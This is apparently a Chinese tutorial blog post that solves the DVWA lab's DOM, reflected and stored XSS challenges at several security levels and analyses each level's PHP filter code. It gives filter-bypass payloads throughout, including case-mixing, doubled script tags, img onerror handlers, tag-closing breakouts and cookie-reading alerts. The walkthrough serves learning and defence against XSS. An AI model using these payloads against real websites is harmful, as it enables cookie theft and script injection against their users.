网络安全-靶机dvwa之XSS注入Low到High详解(含代码分析)

article/2025/11/4 9:00:43

目录

XSS(DOM)-LOW

普通注入

代码分析

后端

前端

XSS(DOM)-MIDIUM

普通注入

大小写绕过

Html标签绕过

闭合标签

代码分析

XSS(DOM)-HIGH

闭合+HTML标签绕过

 代码分析

主要步骤

漏洞原因

XSS(Reflected)-LOW

普通注入

代码分析

主要步骤

漏洞原因

XSS(Reflected)-MIDIUM

普通注入

大小写绕过

双写绕过

代码分析

主要步骤

漏洞原因

XSS(Reflected)-HIGH

普通注入

大小写绕过

双写绕过

html标签绕过

代码分析

主要步骤

漏洞原因

XSS(Stored)-LOW

普通注入

代码分析

主要步骤

漏洞原因

XSS(Stored)-MIDIUM

普通注入

大小写绕过

代码分析

主要步骤

漏洞原因

XSS(Stored)-HIGH

Html标签绕过

代码分析

主要步骤

漏洞原因


本篇文章,针对靶机dvwa(Damn Vulnerable Web Application)中的XSS(DOM)、XSS(Reflected)、XSS(Stored)的LOW、MIDIUM、HIGH安全级别使用网络安全-js安全知识点与XSS常用payloads中提到的XSS注入payloads,使用手工进行XSS注入。并根据网络安全-php安全知识点对LOW、MIDIUM、HIGH、IMPOSSIBLE安全级别的代码进行解释。

目标:弹出窗口/获得cookie

XSS(DOM)-LOW

正常

可以看到,是get型

普通注入

<script>alert('lady_killer9')</script>
注入成功

代码分析

后端

<?php# No protections, anything goes?> 

前端

F12

 代码:

if (document.location.href.indexOf("default=") >= 0) {var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");document.write("<option value='' disabled='disabled'>----</option>");
}document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

 下拉框显示4个,上面显示default参数的内容

漏洞原因:

输入未过滤

输出未改变编码

XSS(DOM)-MIDIUM

正常

可以看到是Get型

普通注入

<script>alert('lady_killer9')</script>
过了一会没有问题

过了一会,然后显示English。尝试大小写绕过。

大小写绕过

<scRipt>alert('lady_killer9')</sCript>
正常

和上面一样,过了一会显示English。尝试Html标签绕过。

Html标签绕过

<img src=x:alert(alt) onerror=eval(src) alt=xss>
仍没有显示

还是没有显示,那应该是需要闭合标签了

闭合标签

></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>
注入成功
代码插进去了

 在这之前我们已经按了F12,查看了源代码,其实除了存储型,DOM和反射都没什么意思,因为可以F12直接查看,对其他用户也没什么攻击性。

代码分析

<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {$default = $_GET['default'];# Do not allow script tagsif (stripos ($default, "<script") !== false) {header ("location: ?default=English");exit;}
}?> 

后端过滤了一下<script,大小写都不行。

XSS(DOM)-HIGH

HIGH级别就不从普通的开始试了

闭合+HTML标签绕过

></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>
失败了

还是会变成English,应该是后端的问题。我也不知道怎么干了。。。

----------------写完后面的反射型,我又回来了---------------

锚点

反射型XSS注入url的锚点(#)后并没有标签id,这似乎提醒着我们可以在锚点后注入(《CTF特训营 P28页也提到了锚点》),这样就不会传到服务器了。

English#<script>alert('xss')</script>
注入成功
点击确定后

 

 代码分析

<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {# White list the allowable languagesswitch ($_GET['default']) {case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;}
}?> 

主要步骤

  • array_key_exists函数判断default变量是否存在,并判断是否非空
  • 使用switch...case构造白名单,若不在case中跳回到English

漏洞原因

  • 输入想使用switch..case来解决,确实很棒,但是由于不是存储型,可以不发送到服务器进行数据库的存储。不过,锚点这个挺难想到的,还好后面有提示,挺巧妙的!!!
  • 输出未改变编码

 

XSS(Reflected)-LOW

正常

普通注入

<script>alert('XSS')</script>
异常

代码分析

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}?> 

主要步骤

  • array_key_exists函数判断name变量是否存在,并判断是否非空
  • 若存在且非空,直接输出

漏洞原因

  • 输入未过滤
  • 输出未改变编码

XSS(Reflected)-MIDIUM

正常

普通注入

<script>alert(document.cookie)</script>
注入失败

从结果来看,<script>和</script>没有了,可能被删除或替换为空字符串。尝试大小写绕过和双写绕过

大小写绕过

<sCript>alert(document.cookie)</scRipt>
注入成功

双写绕过

<scr<script>ipt>alert('XSS')</scr<script>ipt>
注入成功

代码分析

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?> 

主要步骤

  • array_key_exists函数判断name变量是否存在,并判断是否非空
  • 若存在且非空,使用str_replace函数替换<script>为空字符串,然后输出

漏洞原因

  • 输入过滤不到位,尝试使用str_replace函数进行过滤,此函数区分大小写,对替换后的字符串不会再检查,可被双写、大小写等绕过
  • 输出未改变编码

XSS(Reflected)-HIGH

正常

普通注入

<script>alert('XSS')</script>
注入失败

仅剩余了>,其他全部没有了,尝试大小写或双写绕过

大小写绕过

<sCript>aleRt(document.cookie)</scRipt>
注入失败

双写绕过

<scr<script>ipt>aleralertt(document.cookie)</scr<script>ipt>
注入失败

可能使用了正则表达式,尝试不使用js标签

html标签绕过

<img src=x onerror=alert('XSS');>
注入成功
<A HREF=http://127.0.0.1/phpinfo.php>link</A>
注入成功
点击链接后跳转

代码分析

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?> 

主要步骤

  • array_key_exists函数判断name变量是否存在,并判断是否非空
  • 若存在且非空,使用preg_replace函数进行正则表达式匹配,且大小写都会匹配到,替换为空字符串,然后输出

漏洞原因

  • 输入过滤不到位,尝试使用preg_replace函数进行正则表达式匹配过滤,但仅匹配了<script>相关,未匹配html标签
  • 输出未改变编码

XSS(Stored)-LOW

正常

post方式,两个都会输出,对一个进行注入即可。

普通注入

<script>alert('lady_killer9')</script>
失败

Name有长度限制,Message注入失败,应该是Name可以注入,但是被限制了。尝试抓包进行注入。

txtName=<script>alert('lady_killer9')</script>&mtxMessage=%3Cscript%3Ealert%28%27lady_killer9%27%29%3C%2Fscript%3E&btnSign=Sign+Guestbook
注入成功
点击其他页面并返回

代码分析

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitize name input$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?> 

主要步骤

  • isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮。
  • 使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量
  • 使用stripslashes函数对message删除反斜杠,使用mysqli_real_escape_string函数对name、message变量中的特殊字符转义
  • 使用mysqli_query函数插入数据库

漏洞原因

  • 未过滤输入,使用post方式增加难度
  • 输出未改变编码

通过阅读后端代码,我们发现name长度的判断并不在后端,按F12查看前端代码。

发现maxlength

删除maxlength="10"

注入成功

漏洞原因:使用前端限制长度

XSS(Stored)-MIDIUM

使用前端进行的长度限制

通过LOW级别,我们知道是前端限制的Name,我们接下来不再抓包,直接删除maxlength,就在页面进行XSS注入。

普通注入

<script>alert('lady_killer9')</script>
标签被删除

标签没了,尝试大小写绕过

大小写绕过

<scRipt>alert('lady_killer9')</sCript>
注入
成功

代码分析

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = str_replace( '<script>', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?> 

主要步骤

  • isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮。
  • 使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量
  • 使用strip_tags函数对 使用函数addslashes添加反斜杠的message变量 剥去heml、xml、php标签,使用mysqli_real_escape_string函数对message变量中的特殊字符转义
  • 使用str_replace函数将name中的<script>标签替换为空字符串,使用mysqli_real_escape_string函数对name变量中的特殊字符转义
  • 使用mysqli_query函数插入数据库

漏洞原因

  • 输入过滤不到位,尝试使用str_replace函数进行过滤,此函数区分大小写,对替换后的字符串不会再检查,可被双写、大小写等绕过
  • 输出未改变编码

XSS(Stored)-HIGH

还是post方式,前端检查长度,直接删除,然后Html标签绕过、

Html标签绕过

<img src=x onerror=alert('XSS');>
注入
成功

代码分析

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?> 

主要步骤

  • isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮。
  • 使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量
  • 使用strip_tags函数对 使用函数addslashes添加反斜杠的message变量 剥去heml、xml、php标签,使用mysqli_real_escape_string函数对message变量中的特殊字符转义
  • 使用preg_replace函数进行正则表达式匹配,然后替换为空字符串,使用mysqli_real_escape_string函数对name变量中的特殊字符转义
  • 使用mysqli_query函数插入数据库

漏洞原因

  • 输入过滤不到位,尝试使用preg_replace函数进行正则表达式匹配过滤,但仅匹配了<script>相关,未匹配html标签
  • 输出未改变编码

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。


http://chatgpt.dhexx.cn/article/XbyDeTDB.shtml

相关文章

关于HTML 代码注入,XSS攻击问题解决

大部分的网站一般都有评论功能或留言功能&#xff0c;或类似可以让用户写东西的地方。 如果后台不经过处理&#xff0c;又把数据返回前端&#xff0c;这就会出问题了。网页解析器会把用户的信息也当成html代码给解析了。 如果用户写的是一些恶意的 js 脚本这是很危险的。专业…

实验三:XSS和SQL注入

实验三&#xff1a;XSS和SQL注入 实验目的&#xff1a; 实验目的&#xff1a;了解什么是XSS&#xff1b;了解XSS攻击实施&#xff0c;理解防御XSS攻击的方法&#xff1b;了解SQL注入的基本原理&#xff1b;掌握PHP脚本访问MySQL数据库的基本方法&#xff1b;掌握程序设计中避…

XSS注入漏洞解决方法(高风险)

漏洞描述 攻击者往Web页面里插入恶意Script代码&#xff0c;当用户浏览该页之时&#xff0c;嵌入其中Web里面的Script代码会被执行&#xff0c;从而达到恶意攻击用户的目的。 漏洞验证 通过在页面中的留言板&#xff0c;提交框&#xff0c;录入信息框等能够提交参数的地方&a…

XSS注入——DOM型XSS

DOM型xss XSS根据恶意脚本的传递方式可以分为3种&#xff0c;分别为反射型、存储型、DOM型&#xff0c;前面两种恶意脚本都会经过服务器端然后返回给客户端&#xff0c;相对DOM型来说比较好检测与防御&#xff0c;而DOM型不用将恶意脚本传输到服务器在返回客户端&#xff0c;这…

XSS注入之xss-labs

目录 &#xff08;一&#xff09;配置环境 &#xff08;1&#xff09;phpstudy 的安装 &#xff08;2&#xff09;xss-labs 的安装 &#xff08;二&#xff09;XSS漏洞的一些基础知识 &#xff08;1&#xff09;XSS漏洞的定义 &#xff08;2&#xff09;XSS漏洞的原理 &…

sql注入和xss注入有什么不一样呢?

在OWASP Top10中注入排在第一位&#xff0c;xss排在第七位&#xff0c;那么问题问题就来了&#xff0c;sql注入和xss注入都是注入&#xff0c;为什么要单独把xss单独拿出来排个名呢&#xff1f;他俩到底有啥区别&#xff0c;各自的特点是啥&#xff1f;本文不对它俩做详细的讲解…

xss漏洞攻防

XSS基本概念和原理说明 基本概念 XSS又叫CSS (Cross Site Script) &#xff0c;跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码&#xff0c;当用户浏览该页之时&#xff0c;嵌入其中Web里面的html代码会被执行&#xff0c;从而达到恶意的特殊目的。XSS属于被动…

XSS注入——反射性XSS

xss注入的攻击步骤&#xff1a; 1.查找可能存在的注入点&#xff08;搜索框&#xff0c;留言板&#xff0c;注册&#xff09; 2.观察输出显示位置&#xff1a; html&#xff1a; 尖括号外部&#xff0c; 尖括号内部: 引号内部》闭合&#xff0…

XSS注入的原理与实现

一、JavaScript的常用脚本 1.window.location.href 用来跳转页面 eg:<script>window.location.hrefwww.jd.com</script> 2.document.cookie 获取客户端的cookie值 3.script 可以通过“src”属性引入JavaScript文件 二、什么是同源策略 同源策略在web应用的安…

XSS注入(跨站脚本攻击)

今天学习一下xss注入 1.XSS是什么 XSS注入漏洞又称为"跨站脚本攻击(Cross Site Scripting)"&#xff0c;为了不和层叠样式表(Cascading Style Sheets,CSS)混淆&#xff0c;所以将跨站脚本攻击缩写为XSS。xss本质上是黑客通过对网页的HTML注入&#xff0c;篡改了原本…

xss注入教程与总结

xss注入个人总结 1 " < >可以用URL编码 %22 %3c %3e HTML 编码 &quot; < > 代替 2 如果过滤 可以用%2522 %26colon; 这种代替尝试 二次转码 3 如果输入框有历史记录 &#xff0c;个人简介注意使用 发现很多网站对输入框有过滤缺但没有过滤历史记录这些…

XSS注入(1)-两个简单测试理解反射型xss注入和存储型xss注入

XSS注入(1)-两个例子理解反射型xss注入和存储型xss注入 XSS全称 Cross Site Script&#xff0c;为使与css语言重名&#xff0c;所以我们将其称为xss跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码&#xff0c;而程序对于用户输入内容未过滤&#xff0c;当用户浏…

xss漏洞注入

定义&#xff1a; XSS攻击通常指的是通过利用网页开发时留下的漏洞&#xff0c;通过巧妙的方法注入恶意指令代码到网页&#xff0c;使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript&#xff0c;但实际上也可以包括Java、 VBScript、ActiveX、 Fla…

XSS-Lab(XSS注入笔记1-16)

前言 本篇博客主要是记录笔者完成XSS-Lab步骤以及分析 题目链接&#xff1a;https://buuoj.cn/challenges#XSS-Lab Github仓库&#xff1a;https://github.com/rebo-rn/xss-lab 出题人的题解&#xff1a;https://github.com/Re13orn/xss-lab/blob/master/XSSwrite%20up.doc…

XSS注入原理以及一些绕过姿势

介绍 XSS——跨站脚本攻击。通过这个攻击手段&#xff0c;攻击者可以将恶意的 JavaScript 代码插入存在 XSS 漏洞的 Web 页面中&#xff0c;当用户浏览带有恶意代码的页面时&#xff0c;这些恶意代码会被触发&#xff0c;从而达到攻击的目的。可以说&#xff0c;XSS 是针对用户…

XSS注入基础入门篇

XSS注入基础入门篇 1.XSS基础概念2. XSS的分类以及示例2.1 反射型XSS2.1.1 示例1&#xff1a;dvwa low 级别的反射型XSS2.1.2 攻击流程 2.2 DOM型XSS2.2.1 示例2&#xff1a;DOM型XSS注入1.环境部署2.基础版本3.进阶绕过 2.3 存储型XSS2.3.1 示例1&#xff1a;dvwa low示例2.3.…

XSS跨站脚本注入详解

一、什么是XSS跨站脚本注入(XSS注入)? XSS(Cross-site scripting)注入是一种Web安全漏洞,它允许攻击者在受害者的浏览器上执行恶意脚本,从而导致攻击者能够窃取受害者的敏感信息或者利用受害者的身份在应用程序上执行未经授权的操作。 攻击者通常会在受害者访问的Web页…

XSS注入

文章目录 前言一、XSS是什么&#xff1f;二、XSS的大致分类与利用思路1.反射型2.存储型3.DOM型 三、不同类型的XSS漏洞注入演示1.反射型xss2.存储型xss3.DOM型xss 三、XSS漏洞实战1.制作钓鱼网站获得用户的用户名和密码2.获取管理员的cookie 总结 前言 本篇文章详细讲解XSS漏洞…

XSS注入测试

XSS 全称(Cross Site Scripting) 跨站脚本攻击&#xff0c; 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时&#xff0c;脚本就会在用户的浏览器上执行&#xff0c;从而达到攻击者的目的. 比如获取用户的Cookie&#xff0c;导…

MySQL和Navicat的安装与配置

mysql和navicat的安装与配置 MySQL的安装与配置Navicat的安装与配置 安装下载&#xff1a; MySQL下载 Navicat下载 MySQL的安装与配置 将mysql文件夹转移到自己想放置的路径下 复制mysql的bin路径 打开环境变量配置 右击【此电脑】&#xff0c;打开【属性】&#xff0c;打开…